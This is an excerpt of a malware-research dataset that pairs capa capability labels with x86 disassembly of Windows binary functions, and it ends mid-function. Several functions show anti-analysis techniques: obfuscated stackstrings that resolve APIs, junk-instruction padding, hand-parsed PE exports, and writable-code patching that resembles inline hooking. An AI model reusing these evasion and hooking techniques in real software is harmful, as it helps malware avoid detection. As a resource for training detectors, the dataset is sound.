joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005f675
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1006a750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10051808
mov dword [ebp - 0x14], eax
cmp dword [0x1060db3c], esi
jne 0x1005f768
push 0x800
push esi
push 0x10007510
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1005f6f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1005f848
push esi
push esi
push 0x10007510
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1005f848
push 0x10007528
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1005f848
push eax
call ebx
push 0x10007534
push edi
mov dword [0x1060db3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007544
push edi
mov dword [0x1060db40], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007558
push edi
mov dword [0x1060db44], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1060db4c], eax
test eax, eax
je 0x1005f765
push 0x10007574
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1060db48], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1005f78d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1005f780
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1005f7a2
push 4
pop eax
jmp 0x1005f84a
cmp dword [ebp - 0x14], esi
je 0x1005f7a2
push dword [0x1060db3c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1005f787
mov eax, dword [0x1060db48]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1005f800
cmp dword [0x1060db4c], edi
je 0x1005f800
push eax
call ebx
push dword [0x1060db4c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1005f800
test eax, eax
je 0x1005f800
call ecx
test eax, eax
je 0x1005f7f5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1005f7f5
test byte [ebp - 8], 1
jne 0x1005f800
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1005f830
mov eax, dword [0x1060db40]
cmp eax, edi
je 0x1005f82d
push eax
call ebx
test eax, eax
je 0x1005f82d
call eax
mov esi, eax
test esi, esi
je 0x1005f82d
mov eax, dword [0x1060db44]
cmp eax, edi
je 0x1005f82d
push eax
call ebx
test eax, eax
je 0x1005f82d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1060db3c]
call ebx
test eax, eax
je 0x1005f848
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1005f84a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004ed1c
mov esp, ebp
pop ebp
ret
Function at 0x2e013ece
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e03021f
call fcn.2e00153c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014c10
test ax, ax
je 0x2e013f76
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e013f76
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f6d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e015c9e
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f60
push esi
mov ecx, edi
call fcn.2e010c49
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e015c9e
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e001586
ret

Function at 0x2e0149fe
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030292
call fcn.2e02e16c
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014b02
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e0148ed
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010b76
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014ac0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014ab7
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e015c9e
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014aa9
push esi
mov ecx, edi
call fcn.2e010c49
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e015c9e
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014b02
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014af9
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e015c9e
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e015c9e
pop ecx
pop ecx
mov al, bl
call fcn.2e02e14a
ret 8
Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e015c9e
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e015c9e
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8
Function at 0x2e01e341
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030586
call fcn.2e02e16c
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e45f
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e456
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e015c9e
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e449
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010c49
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e015c9e
test al, al
jne 0x2e01e3fc
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e015c9e
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e3ff
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e439
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e430
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e015c9e
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e015c9e
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e015c9e
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e14a
ret
Function at 0x100011e0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10053530
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 0
test ecx, ecx
je 0x10001359
test eax, eax
je 0x10001359
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [ebp - 0x34], eax
mov edx, dword [eax + 0x18]
mov eax, dword [eax + 0x20]
add eax, ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], eax
push edi
mov edi, 0xb6d9fe26
sbb edi, eax
mov edi, 0x798ea5be
sbb edi, esi
pop edi
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 0x24]
mov eax, dword [eax + 0x1c]
add edx, ecx
add eax, ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x34], eax
cmp eax, dword [ebp - 0x3c]
jae 0x10001359
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x24], 0x6e72654b
mov dword [ebp - 0x20], 0x32336c65
mov dword [ebp - 0x1c], 0x6c6c642e
mov eax, dword [edx + eax*4]
add eax, ecx
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], 0x7274736c
mov dword [ebp - 0x2c], 0x41706d63
mov byte [ebp - 0x28], 0
push ebx
mov ebx, 0xaaf8499b
xor ebx, eax
sbb ebx, esp
mov ebx, 0xc4013f7f
nop
pop ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x100012ff
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100012ff
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
call edi
push eax
call ebx
mov esi, eax
push dword [ebp - 0x44]
push dword [ebp - 0x48]
call esi
test eax, eax
jne 0x10001347
push edi
xor edi, esp
sbb edi, edx
xor edi, eax
xor edi, esi
or edi, ebp
and edi, ebx
pop edi
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x38], eax
test eax, eax
je 0x10001359
push edx
sbb edx, esi
mov edx, 0x199f28b2
or edx, ebx
and edx, ebp
pop edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ecx]
add eax, dword [ebp + 8]
jmp 0x1000135b
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 8]
inc eax
jmp 0x10001270
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x100026d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 4], 0
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x10002785
cmp dword [ebx + 0xc], 0
je 0x10002785
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [ebx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebx + 0x14]
cmp byte [eax], 0xe9
jne 0x1000276b
push edi
xor edi, edx
add edi, eax
add edi, esi
xor edi, esp
add edi, edx
sub edi, ecx
and edi, edi
pop edi
mov ebx, dword [ebp + 8]
push dword [ebx + 0x18]
push 0x90
push dword [ebx + 0x14]
call fcn.10012c40
mov ecx, dword [ebx + 0x10]
add esp, 0xc
mov eax, dword [ebx + 0x18]
push eax
test ecx, ecx
jne 0x10002744
push dword [ebx + 0xc]
jmp 0x10002745
push ecx
push dword [ebx + 0x14]
call fcn.100126c0
add esp, 0xc
call fcn.1001c67b
push dword [ebx + 0x18]
push dword [ebx + 0x14]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebx + 0x14]
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 4]
push dword [ebx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002b70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x100611dc]
cmp eax, ecx
jne 0x10002cc7
cmp byte [0x100611b5], 0
je 0x10002cc7
mov dword [ebp + 0x10], 0
test ecx, ecx
jne 0x10002bb3
push ecx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push edi
push esi
push 0
push 0x11
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov edi, dword [ebp + 0xc]
mov dword [edi], eax
cmp dword [0x100611dc], 0
jne 0x10002bd7
push 0
push 0
call dword [sym.imp.USER32.dll_SetCursorPos]
lea eax, [ebp + 0x10]
push eax
push dword [edi]
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
cmp byte [0x100611b7], 0
jne 0x10002caf
xor eax, eax
test esi, esi
jle 0x10002caf
mov edi, esi
push ebx
mov ebx, dword [ebp + 8]
cmp esi, 0x40
jb 0x10002c9a
mov edx, dword [ebp + 0x10]
lea ecx, [ebx - 1]
add ecx, esi
cmp edx, ecx
ja 0x10002c22
lea ecx, [edx - 1]
add ecx, esi
cmp ecx, ebx
jae 0x10002ca0
mov ecx, esi
and ecx, 0x8000003f
jns 0x10002c31
dec ecx
or ecx, 0xffffffc0
inc ecx
movaps xmm1, xmmword [0x10054870]
lea edi, [ebx + 0x30]
mov edx, esi
mov dword [ebp - 4], esi
sub edx, ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], edx
sub ebx, ecx
mov esi, dword [ebp - 8]
lea edx, [ecx + 0x10]
movups xmm0, xmmword [edi - 0x30]
add eax, 0x40
lea edi, [edi + 0x40]
lea edx, [edx + 0x40]
mov ecx, eax
pxor xmm0, xmm1
movups xmmword [edx - 0x50], xmm0
movups xmm0, xmmword [ebx + edx - 0x40]
pxor xmm0, xmm1
movups xmmword [edx - 0x40], xmm0
movups xmm0, xmmword [edi - 0x50]
pxor xmm0, xmm1
movups xmmword [edx - 0x30], xmm0
movups xmm0, xmmword [edi - 0x40]
pxor xmm0, xmm1
movups xmmword [edx - 0x20], xmm0
cmp eax, esi
jl 0x10002c50
mov edi, dword [ebp - 4]
cmp ecx, edi
mov ebx, dword [ebp + 8]
jge 0x10002cae
mov edx, dword [ebp + 0x10]
nop dword [eax]
mov cl, byte [eax + ebx]
xor cl, 0x6f
mov byte [eax + edx], cl
inc eax
cmp eax, edi
jmp 0x10002c98
pop ebx
mov eax, dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002cd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [0x1005fb50]
mov dword [ebp - 0x24], eax
push edi
test esi, esi
jne 0x10002db2
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
mov dword [ebp - 0x20], 0x6c6c6100
mov dword [ebp - 0x1c], 0x7478654e
mov dword [ebp - 0x18], 0x6b6f6f48
mov word [ebp - 0x14], 0x7845
mov byte [ebp - 0x12], 0
call fcn.1001c67b
push edi
mov edi, 0xdedad8d8
sbb edi, esi
nop
pop edi
mov byte [ebp - 0x20], 0x43
push edi
mov edi, 0xeacaac90
mov edi, 0xa97f5731
mov edi, 0x1be6b404
pop edi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x10002d92
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10002d92
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [0x1005fb50], esi
test esi, esi
jne 0x10002daf
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x10004da0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [0x100611dc]
jne 0x10004ea6
cmp byte [0x100611b5], 0
je 0x10004ea6
cmp byte [0x100611b6], 0
je 0x10004ea6
mov ebx, dword [ebp + 0xc]
mov eax, 0x10061500
test ebx, ebx
mov dword [ebp - 0xc], 0
push 0x104
mov esi, 0x100613f8
mov dword [ebp - 8], 0
cmovne esi, eax
xorps xmm0, xmm0
push 0
push esi
movlpd qword [ebp - 0x1c], xmm0
call fcn.10012c40
mov eax, dword [0x100612ec]
xor ecx, ecx
mov edx, dword [ebp + 8]
add esp, 0xc
test ebx, ebx
cmove eax, ecx
mov ecx, edx
mov dword [0x100612ec], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004e26
sub ecx, edi
push ecx
push edx
push esi
call fcn.1002e630
lea eax, [ebp + 8]
mov word [ebp + 8], 0x6272
push eax
push esi
mov byte [ebp + 0xa], 0
call fcn.100318c8
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
je 0x10004ea6
push edi
add edi, edx
add edi, edx
xor edi, edx
add edi, edx
mov edi, 0x3bbe44cb
nop
pop edi
mov esi, dword [ebp - 4]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
nop dword [eax]
push esi
push 1
lea eax, [ebp - 0x1c]
push 8
push eax
call fcn.10031b20
mov eax, dword [ebp - 0x1c]
add esp, 0x10
or eax, dword [ebp - 0x18]
je 0x10004eb1
inc ebx
mov dword [ebp - 0x10], ebx
cmp ebx, 0x1518b
jl 0x10004e70
call fcn.1001c67b
lea eax, [ebp - 4]
push eax
call fcn.1000bd20
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp + 0xc], 0
jne 0x10004f7b
push 2
push 0xfffffffffffffffc
push esi
call fcn.10031f97
push esi
push 4
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0
push 1
push eax
call fcn.10031b20
mov eax, dword [ebp + 0xc]
add esp, 0x1c
cmp al, 0x5e
jne 0x10004f7b
cmp byte [ebp + 0xf], al
jne 0x10004f7b
cmp ah, 0x26
jne 0x10004f7b
cmp byte [ebp + 0xe], ah
jne 0x10004f7b
push 2
push 0xfffffffffffffff4
push esi
call fcn.10031f97
push esi
push 1
lea eax, [ebp - 8]
push 4
push eax
call fcn.10031b20
push esi
push 1
lea eax, [ebp - 0xc]
push 4
push eax
call fcn.10031b20
lea eax, [ebp - 4]
push eax
call fcn.1000bd20
mov ecx, dword [ebp - 0xc]
add esp, 0x30
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
test ecx, ecx
jle 0x10004f7b
mov eax, 0x1518b
sub eax, ebx
cmp ecx, eax
jge 0x10004f7b
push ebp
xor ebp, esp
add ebp, esi
mov ebp, 0xc26408ad
and ebp, ebp
pop ebp
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov dword [0x100612ec], eax
lea eax, [ecx*8 + 0xc]
mov dword [0x100613f4], eax
mov eax, dword [ebp - 0x10]
add eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 4]
push eax
call fcn.1000bd20
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10004fa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100536e0
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
movaps xmm0, xmmword [0x10054700]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x148], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x144], 1
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x24], 0x6e72654b
mov dword [ebp - 0x20], 0x32336c65
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
push eax
xor eax, esp
xor eax, eax
sbb eax, esp
xor eax, eax
xor eax, esp
sbb eax, eax
and eax, ebp
nop
pop eax
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x24]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x140], eax
test eax, eax
jne 0x10005072
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10005072
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x24]
push eax
call esi
push eax
call edi
mov dword [ebp - 0x140], eax
push ebp
add ebp, esp
sbb ebp, esp
sbb ebp, esp
sub ebp, ebp
nop
pop ebp
mov edi, dword [ebp - 0x140]
xor ebx, ebx
nop word [eax + eax]
cmp dword [ebp - 0x144], 0
je 0x1000513f
mov esi, dword [ebp - 0x148]
mov al, byte [esi + ebx]
cmp al, 0x5c
jne 0x100050f6
push 0x104
lea eax, [ebp - 0x13c]
push 0
push eax
call fcn.10012c40
push ebx
lea eax, [ebp - 0x13c]
push esi
push eax
call fcn.100126c0
add esp, 0x18
cmp ebx, 0x104
jae 0x10005160
push 0
lea eax, [ebp - 0x13c]
mov byte [ebp + ebx - 0x13c], 0
push eax
call edi
inc ebx
mov dword [ebp - 0x14c], ebx
jmp 0x10005090
test al, al
jne 0x100050ed
mov dword [ebp - 0x144], 0
push eax
sbb eax, eax
sbb eax, edx
add eax, esp
or eax, edi
pop eax
mov eax, dword [ebp - 0x148]
push 0
push eax
call dword [ebp - 0x140]
mov ebx, dword [ebp - 0x14c]
mov edi, dword [ebp - 0x140]
inc ebx
mov dword [ebp - 0x14c], ebx
jmp 0x10005090
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
call fcn.10011014
int3
Function at 0x100052b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10053730
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
cmp dword [0x10061004], 0
mov dword [ebp - 4], 0
jne 0x10005355
lea eax, [ebp - 0x24]
mov dword [ebp - 0x34], 0x6e72654b
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x30], 0x32336c65
push eax
mov dword [ebp - 0x2c], 0x6c6c642e
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x64616f4c
mov dword [ebp - 0x20], 0x7262694c
mov dword [ebp - 0x1c], 0x41797261
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.100011e0
add esp, 8
mov dword [0x10061004], eax
test eax, eax
jne 0x10005355
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.1000a920
add esp, 8
mov dword [0x10061004], eax
cmp dword [section..SYNC], 0
jne 0x100053c3
cmp dword [0x10061cf8], 0
mov byte [0x1005fb04], 1
jne 0x10005373
call fcn.1000c3e0
push ecx
xor ecx, eax
sbb ecx, edx
xor ecx, esp
xor ecx, esi
mov ecx, 0x3673b2f3
pop ecx
cmp byte [0x100611bd], 0
jne 0x10005399
cmp dword [0x10061d80], 0
jne 0x10005399
call fcn.1000d150
push 0
push dword [0x100611b0]
push 0x10002dd0
push 4
call fcn.1000bb20
add esp, 0x10
mov dword [section..SYNC], eax
test eax, eax
jne 0x100053c3
xor eax, eax
jmp 0x100053d8
push ecx
mov ecx, 0x8f3cea9b
add ecx, edx
mov ecx, 0x8f2ece71
